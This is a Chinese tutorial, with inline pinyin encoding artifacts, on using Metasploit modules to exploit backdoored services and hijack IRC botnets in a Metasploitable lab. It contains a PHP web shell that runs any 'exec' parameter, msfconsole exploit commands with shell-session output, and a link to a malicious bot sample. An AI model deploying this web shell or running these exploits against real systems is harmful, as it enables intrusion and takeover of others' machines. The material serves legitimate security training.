揭秘:黑客是如何利用Metasploit接管后門(mén)和僵尸網(wǎng)絡(luò)的?
Metasploit Framework中有很多漏洞利用模塊,包括緩沖區(qū)溢出,瀏覽器漏洞利用,Web應(yīng)用程序漏洞,后門(mén)利用,僵尸接管工具等。Exploit開(kāi)發(fā)者以及對(duì)這個(gè)框架有貢獻(xiàn)的人已經(jīng)分享了很多有趣并且有用的東西。
這篇文章中,我們將討論利用Metasploit來(lái)攻擊并接管常見(jiàn)的后門(mén)和僵尸網(wǎng)絡(luò)的話(huà)題。我們不會(huì)深入研究所有的模塊,但是會(huì)提到一些在未來(lái)滲透測(cè)試或者工作時(shí)會(huì)用到的模塊。我們不會(huì)開(kāi)發(fā)Exploit,所以不需要你使用調(diào)試器和代碼編輯器。
如果你剛開(kāi)始利用Msfconsole(框架的一個(gè)命令行接口)來(lái)使用Metasploit Framework,不必?fù)?dān)心,這里會(huì)一步一步地教你怎么使用漏洞利用模塊。這個(gè)教程只需要你做一件事,在你的攻擊機(jī)上安裝Metasploit,我建議你使用Kali Linux或者BackBox,這是滲透測(cè)試的發(fā)行版系統(tǒng),已經(jīng)預(yù)先安裝了Metasploit。
對(duì)于我們的目標(biāo)機(jī),我建議你把metasploitable 2安裝到喜歡的虛擬化平臺(tái)上,比如VMWare或者VirtualBox。Metasploitable 2是一個(gè)有漏洞的Ubuntun Linux虛擬機(jī),你可以用它練習(xí)你的Metasploit使用技巧,因?yàn)樗厦姘惭b了一些不安全的程序。
Metasploitable 2虛擬機(jī)配置安裝了包含有后門(mén)和公開(kāi)漏洞的服務(wù)。
在6667端口上,Metasploitable 2上運(yùn)行著有后門(mén)的UnreaIRCD IRC后臺(tái)程序,可以通過(guò)發(fā)送字母“AB”觸發(fā),攻擊者能夠以運(yùn)行ircd的用戶(hù)權(quán)限執(zhí)行任意系統(tǒng)命令。這是一個(gè)非常好的用來(lái)練習(xí)的漏洞,我們?cè)囋嚳茨懿荒軓棾鲆粋€(gè)shell。很幸運(yùn),Metasploit已經(jīng)有一個(gè)該漏洞的利用模塊,位于exploit/unix/irc/unreal_ircd_3281_backdoor下面。
輸入msfconsole打開(kāi)Metasploit的命令行接口。輸入info exploit/unix/irc/unreal_ircd_3281_backdoor可以看到模塊的描述信息:“這個(gè)模塊利用漏洞攻擊一個(gè)附加有惡意后門(mén)的Unreal IRCD 3.2.8.1下載包。該后門(mén)位于2009年11月到2010年6月12日期間的Unreal3.2.8.1.tar.gz壓縮包中”
現(xiàn)在,是時(shí)候攻擊這個(gè)包含有后門(mén)的服務(wù)了!
哇哦,我們拿到了shell。想要獲取更多關(guān)于其它有后門(mén)的服務(wù)的信息,請(qǐng)查看Metasploitable 2 Exploitability Guide。
我們討論的不應(yīng)該是常見(jiàn)的后門(mén)和僵尸網(wǎng)絡(luò)接管話(huà)題嗎?是的!我們才剛剛開(kāi)始,剛才做了一個(gè)簡(jiǎn)單而又簡(jiǎn)短的介紹,如何利用MSF控制臺(tái)來(lái)攻擊UnreaIRCD IRC服務(wù)中的后門(mén)。
我們的目標(biāo)是介紹一個(gè)新奇的玩意兒,Metasploit已經(jīng)有了這一類(lèi)模塊,這些模塊并不是在Web應(yīng)用程序上遠(yuǎn)程執(zhí)行任意代碼,也不是在應(yīng)用程序或服務(wù)上進(jìn)行緩沖區(qū)溢出攻擊。
在下一個(gè)例子中,我們將會(huì)使用一個(gè)我寫(xiě)的Simple Backdoor Shell Remote Code Execution模塊攻擊一個(gè)Web后門(mén)。這個(gè)模塊攻擊一個(gè)簡(jiǎn)單的web后門(mén),利用常見(jiàn)后門(mén)shell的有脆弱點(diǎn)的參數(shù)執(zhí)行命令。
Daniel Miessler和Jason Haddix的OWASP安全列表工程里有很多這類(lèi)后門(mén)shell的樣本,它們被分類(lèi)編入到Payloads下面。
在我們探究Simple Backdoor Shell Remote Code Execution模塊之前,我們首先要在目標(biāo)機(jī)器上創(chuàng)建一個(gè)后門(mén)shell。我建議你在Linux虛擬機(jī)上安裝一個(gè)Apache服務(wù)器,并編寫(xiě)以下有漏洞的代碼:
- <?php
- if ( isset( $_GET[‘exec’] ) ) {
- if ( false === passthru( $_GET[‘exec’] ) )
- echo ‘So sad, this is an error – aurelius of Infosec Institute’;
- }
- ?>
我把這個(gè)代碼放在Ubuntun VM虛擬機(jī)的/var/www/html/msfdev/vulnerable.php路徑下,這樣我可以使用瀏覽器訪(fǎng)問(wèn)http://localhost/msfdev/vulnerable.php,如下圖所示,利用這個(gè)漏洞代碼的POC就可以通過(guò)exec參數(shù)執(zhí)行任意命令。
現(xiàn)在,我們使用Simple Backdoor Shell Remote Code Execution模塊。
正如你看到的執(zhí)行show option命令之后的輸出信息,有一些必須的設(shè)置的選項(xiàng)(除RHOST,RPORT,以及其它普通選項(xiàng)外),通過(guò)設(shè)置METHOD指定HTTP方法,通過(guò)設(shè)置TARGETURI指定后門(mén)shell的路徑,以及通過(guò)設(shè)置VAR指定參數(shù)或者說(shuō)命令變量。
假設(shè)我們的目標(biāo)機(jī)的IP地址是192.168.150.136,我們需要把RHOST設(shè)置成這個(gè)地址,通過(guò)設(shè)置TARGETURI為/msfdev/vulnerable.php來(lái)定義我們的后門(mén)shell的位置。然后是VAR選項(xiàng),我們可以設(shè)置為exec,這樣就可以執(zhí)行任意命令。我們不需要設(shè)置HTTP方法,因?yàn)閣eb應(yīng)用程序允許GET方法,并且通過(guò)GET方法就可以進(jìn)行漏洞利用。
- msf exploit(simple_backdoors_exec) > set rhost 192.168.150.136
- rhost => 192.168.150.136
- msf exploit(simple_backdoors_exec) > set var exec
- var => exec
- msf exploit(simple_backdoors_exec) > set TARGETURI /msfdev/vulnerable.php
- TAGETURI => /msfdev/vulnerable.php
- msf exploit(simple_backdoors_exec) >exploit
- [*] Started reverse double handler
- [*] Accepted the first client connection…
- [*] Accepted the second client connection…
- [*] Command: echo wE5lyQtBEHIWwFd4;
- [*] Writing to socket A
- [*] Writing to socket B
- [*] Reading from sockets…
- [*] Reading from socket A
- [*] A: “wE5lyQtBEHIWwFd4\r\n”
- [*] Matching…
- [*] B is input…
- [*] Command shell session 1 opened (192.168.150.129:4444 -> 192.168.150.136:49484) at 2016-02-22 09:24:57 -0500
成功彈出了第二個(gè)shell!好了,這就是利用這個(gè)模塊攻擊web shell的全過(guò)程。
以下是一些與這類(lèi)模塊相關(guān)的其它漏洞利用模塊:
Th3 MMA mma.php Backdoor Arbitrary File Upload – 這個(gè)模塊攻擊Th3 MMA mma.php后門(mén),可以上傳任意文件,這導(dǎo)致任意代碼執(zhí)行。因?yàn)閜hp_uname()函數(shù),這個(gè)后門(mén)也回顯了Linux內(nèi)核版本號(hào)或者操作系統(tǒng)版本號(hào)。
Zemra Botnet CnC Web Panel Remote Code Execution – 這個(gè)模塊攻擊CnC web panel of Zemra僵尸網(wǎng)絡(luò),在其泄漏的源碼中包含了一個(gè)后門(mén)。Zemra是一個(gè)可以實(shí)施DDOS攻擊的惡意軟件,被Symantec發(fā)現(xiàn)并命名為Backdoor.Zemra。
China Chopper Caidao PHP Backdoor Code Execution – 這個(gè)模塊攻擊一個(gè)中國(guó)黑客廣泛使用的中國(guó)菜刀webshell。
Horde 3.3.12 Backdoor Arbitrary PHP Code Execution – 這個(gè)模塊攻擊一個(gè)包含有任意PHP代碼執(zhí)行漏洞后門(mén)的Horde 3.3.12 and Horde Groupware 1.2.10。
OpenX Backdoor PHP Code Execution – 至少在2012年11月到2013年8月期間,penX Ad Server version 2.8.10上搭載了一個(gè)隱藏的后門(mén)。漏洞利用非常簡(jiǎn)單,只需要發(fā)送一個(gè)含有rot13’d和回連載荷的單獨(dú)請(qǐng)求。
STUNSHELL Web Shell Remote PHP Code Execution – 這個(gè)模塊攻擊一個(gè)“STUNSHELL”Webshell的未證實(shí)版本。當(dāng)Web服務(wù)器上開(kāi)啟了安全模式時(shí)這個(gè)模塊有效。該shell被廣泛用在自動(dòng)化RFI載荷中。
繼續(xù),列表會(huì)越來(lái)越長(zhǎng)。通過(guò)命令search backdoor你可以獲取更多的模塊。
我編寫(xiě)和貢獻(xiàn)的另一類(lèi)模塊是針對(duì)僵尸網(wǎng)絡(luò)接管的。一個(gè)好例子是w3tw0rk / Pitbul IRC Bot Remote Code Execution。這個(gè)模塊攻擊一個(gè)w3tw0rk僵尸網(wǎng)絡(luò),把你的昵稱(chēng)注冊(cè)或者偽裝成注冊(cè)僵尸網(wǎng)絡(luò)的IRC頻道的管理員或者看守人。
我想把這個(gè)作為一個(gè)挑戰(zhàn)給你,因此我不會(huì)解釋這些選項(xiàng)的含義以及如何攻擊這類(lèi)僵尸網(wǎng)絡(luò),而且已經(jīng)有了一個(gè)這個(gè)漏洞利用的截屏。我想你已經(jīng)通過(guò)前面的指令看到了設(shè)置Metasploit的模式。
這里是w3tw0rk / Pitbul IRC的源代碼腳本,它可以用來(lái)發(fā)動(dòng)DDos(分布式拒絕服務(wù))或者DoS(拒絕服務(wù))攻擊:
https://github.com/shipcod3/IRC-Bot-Hunters/blob/master/malicious_samples/w3tw0rk.txt。你應(yīng)該在你的虛擬機(jī)中運(yùn)行它,確保它連上你自己的IRC服務(wù)器,這樣你的虛擬機(jī)就不會(huì)被其它的僵尸網(wǎng)絡(luò)看守者或惡意軟件十字軍所控制。
我編寫(xiě)的大多數(shù)僵尸網(wǎng)絡(luò)漏洞利用模塊的靈感來(lái)源于PHP IRC Bot pbot eval() Remote Code Execution模塊,這是Metasploit中的第一個(gè)IRC僵尸網(wǎng)絡(luò)exploit。根據(jù)其描述,“這個(gè)模塊可以在PHP IRC bot pbot上遠(yuǎn)程命令執(zhí)行,因?yàn)樵趯?shí)現(xiàn).php命令時(shí)對(duì)eval()函數(shù)的濫用。該模塊在Jay Turla分析的pbot版本上測(cè)試成功,發(fā)布在Infosec Institue,運(yùn)行于Ubuntu 10.04和Windows XP SP3。”
我不對(duì)這個(gè)腳本造成的危害負(fù)責(zé),但是請(qǐng)僅作為教學(xué)目的使用。
其它與僵尸網(wǎng)絡(luò)接管相關(guān)的漏洞利用模塊:
Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution – 這個(gè)模塊可以在xdh開(kāi)發(fā)的IRC Bot上遠(yuǎn)程命令執(zhí)行。這個(gè)perl bot是Conor Patrick用他的shellshock蜜罐服務(wù)器捕獲的,Markus Zanke將其劃入到fBot (Fire & Forget – DDoS Bot)類(lèi)別中。Matt Thayer發(fā)現(xiàn)這個(gè)腳本有一個(gè)LinuxNet perlbot的描述。這個(gè)bot只應(yīng)答配置在perl腳本中的服務(wù)名和昵稱(chēng),因此,為了攻擊這個(gè)bot你需要能夠操作IRC網(wǎng)絡(luò)來(lái)欺騙它或者至少有和配置中相同的ip。
Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution – 這個(gè)模塊可以在PHP IRC bot Ra1NX 上遠(yuǎn)程命令執(zhí)行,通過(guò)使用私人信息中的public call特性來(lái)秘密繞過(guò)認(rèn)證系統(tǒng)。
Legend Perl IRC Bot Remote Code Execution – 這個(gè)模塊可以在Legend Perl IRC Bot上遠(yuǎn)程命令執(zhí)行。2014年10月該bot被作為一個(gè)載荷用在Shellshock spam中。這個(gè)特殊的bot有一些功能,比如NMAP掃描, TCP, HTTP, SQL, and UDP洪泛攻擊,清除系統(tǒng)日志,獲取root權(quán)限,VNC掃描。Damballa的高級(jí)威脅研究專(zhuān)家Kevin Stevens把這個(gè)腳本上傳到VirusTotal上,其md5為11a9f1589472efa719827079c3d13f76。
Dexter (CasinoLoader) SQL Injection – 這個(gè)模塊攻擊一個(gè)在control Dexter上使用的命令和控制面板中發(fā)現(xiàn)的漏洞。漏洞利用通過(guò)訪(fǎng)問(wèn)一個(gè)bots使用的PHP頁(yè)面(gateway.php)實(shí)現(xiàn),這個(gè)頁(yè)面并沒(méi)有對(duì)輸入作防護(hù)。輸入被加密和編碼。命令和控制面板指定了一個(gè)上傳文件的位置,這可以作為寫(xiě)入PHP shell的可靠位置。攻擊這個(gè)漏洞并不需要認(rèn)證。
參考文獻(xiàn):
https://community.rapid7.com/docs/DOC-1875
https://forums.unrealircd.org/viewtopic.php?t=6562
https://github.com/rapid7/metasploit-framework/